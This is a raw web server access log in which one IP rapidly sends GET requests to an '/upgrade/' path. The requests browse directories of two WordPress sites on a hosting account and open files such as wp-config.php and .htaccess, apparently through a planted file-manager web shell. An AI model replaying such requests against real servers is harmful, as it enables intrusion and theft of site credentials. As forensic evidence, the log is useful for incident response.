45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5791 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 8153 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete HTTP/1.1" 200 6395 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fdeprecated-complete" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade HTTP/1.1" 200 6687 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fwp-admin HTTP/1.1" 200 13109 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9921 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fxmlrpc.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:24 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2F HTTP/1.1" 200 7858 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7959 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 8283 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F.well-known HTTP/1.1" 200 6012 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 20940 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 11728 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 19063 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F&option=folder HTTP/1.1" 200 8324 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 8575 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9425 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 9491 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 10661 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 8309 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F HTTP/1.1" 200 10577 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F%2Fwp-trackback.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbetcity.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 19096 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-signup.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:25 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F&option=folder HTTP/1.1" 200 8329 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F&option=folder" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2F HTTP/1.1" 200 7861 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F HTTP/1.1" 200 8966 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 8330 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler HTTP/1.1" 200 6472 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Forphan-transpiler" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fwp-includes HTTP/1.1" 200 25873 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fwp-includes" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9210 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2F.htaccess&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 20961 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fmah.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 8617 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-blog-header.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 10259 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-config.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 8290 "http://163.245.207.76:443/upgrade/index.php?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2Fhome%2Fblackpussy06%2F HTTP/1.1" 200 7962 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2Fhome%2Fblackpussy06%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fcgi-bin HTTP/1.1" 200 5797 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fcgi-bin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fwp-content HTTP/1.1" 200 6597 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fwp-content" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:26 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade HTTP/1.1" 200 6820 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fupgrade" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 11780 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Freadme.html&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 10709 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-cron.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 10196 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-load.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 11906 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-mail.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2Fhome%2F HTTP/1.1" 200 5792 "http://163.245.207.76:443/upgrade/?full_path=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw&location=%2Fhome%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 8315 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 16494 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Flicense.txt&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 11391 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-activate.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9600 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Fwp-comments-post.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F.well-known HTTP/1.1" 200 6047 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F.well-known" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fwp-admin HTTP/1.1" 200 13281 "http://163.245.207.76:443/upgrade/?location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2Fwp-admin" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 8623 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Findex.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
45.135.193.11 - - [11/Sep/2026:22:41:27 -0400] "GET /upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F HTTP/1.1" 200 9470 "http://163.245.207.76:443/upgrade/?file_location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F%2Flocoy.php&location=%2Fhome%2Fblackpussy06%2Fpublic_html%2Fbig-wife.com.tw%2F" "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36"
